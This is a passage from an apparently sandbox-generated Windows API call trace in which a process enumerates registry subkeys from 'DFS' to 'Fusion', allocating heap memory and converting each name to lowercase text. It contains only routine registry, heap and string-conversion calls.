lpUsedDefaultChar=0x0) returned 4 [0180.177] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.177] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x49b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.178] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x49b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.178] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x49b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x49c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.178] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x49b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0180.178] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.178] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.178] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x49b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x49c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.179] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x49b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x49c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.179] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x49b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.179] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x49b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0180.179] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.179] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.180] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x49b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x49c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.180] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.180] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.180] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.180] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x49b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.180] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.180] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.180] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.180] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x49b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.180] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.180] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.180] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.180] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x49b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0180.180] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.180] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.180] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.181] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x49b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x49c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.181] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x49b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.181] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x49b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.181] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x49b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0180.181] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.181] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.182] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x49b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.182] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x49b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.182] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x49b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.182] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x49b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x49c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0180.182] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.182] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.183] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x49b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0180.183] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 